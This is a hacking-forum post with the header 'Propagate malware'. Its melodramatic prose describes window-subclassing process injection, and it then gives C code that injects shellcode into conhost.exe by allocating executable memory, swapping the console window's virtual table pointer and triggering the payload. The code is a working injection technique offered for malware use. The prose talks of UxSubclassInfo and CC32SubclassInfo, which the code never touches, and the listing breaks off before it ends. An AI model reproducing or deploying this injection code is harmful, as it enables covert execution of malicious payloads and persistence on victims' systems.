Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

HF Rulez the UniverseHF Rulez the Universe
Aeon
Coder
Propagate malware UxSubclassInfo CC32SubclassInfo hackforums

Propagate

Posted Oct 11, 2023 10:35 PM
Window Subclassing Unleashed: Masters of Message Manipulation

In the clandestine world of cyber tactics, a potent stratagem emerges—one that involves artfully tinkering with a window's inner workings to intercept, tweak, or surveil its message-handling behavior. This technique orchestrates a symphony of subversion, calling forth an application to craft a shellcode-laden buffer, destined for infiltration into the target process.

The Orchestration of Subversion:

Firstly, the application mastermindfully augments the internal structure governing specific properties like UxSubclassInfo and CC32SubclassInfo, skillfully reorienting them to direct attention toward the clandestine payload. This intricate manipulation sets the stage for covert message interception.

The Denouement:

In the denouement, the window's property undergoes a transformation. As messages flow toward the window, the shellcode stirs to life, executing its clandestine dance. This dance involves the manipulation of messages, allowing the attacker to intercept and modify them discreetly. This technique, known as Window Subclassing, unfurls its enigma-laden banner, a favored tool in the arsenal of adversaries.

A Cloak-and-Dagger Arsenal:

Within its cloak-and-dagger maneuvers lies the power to etch persistence into the digital realm or unleash the torrents of malevolent code. Window Subclassing offers adversaries a covert means to infiltrate systems, persist undetected, and manipulate the behavior of windows and applications to their advantage.

As defenders of cyberspace, it is imperative to understand and counter such sophisticated techniques, bolstering our security posture against the clandestine maneuvers of cyber adversaries.
Code
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;
    
    // 1. Obtain handle and process id for a console window
    //   (this assumes one already running)
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    
    GetWindowThreadProcessId(hwnd, &ppid);
    // 2. Obtain the process id for the host process
    pid = conhostId(ppid);
    
    // 3. Open the conhost.exe process
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    // 4. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 5. Read the address of current virtual table
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr,
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
    
    // 6. Read the current virtual table into local memory
    ReadProcessMemory(hp, (LPVOID)vTable,
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
      
    // 7. Allocate RW memory for the new virtual table
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 8. update the local copy of virtual table with
    //    address of payload and write to remote process
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
    // 9. Update pointer to virtual table in remote process
    WriteProcessMemory(hp, (LPVOID)udptr, &ds,
      sizeof(ULONG_PTR), &wr);
    // 10. Trigger execution of the payload
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);
    // 11. Restore pointer to original virtual table
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
      sizeof(ULONG_PTR), &wr);
    
    // 12. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    
    CloseHandle(hp);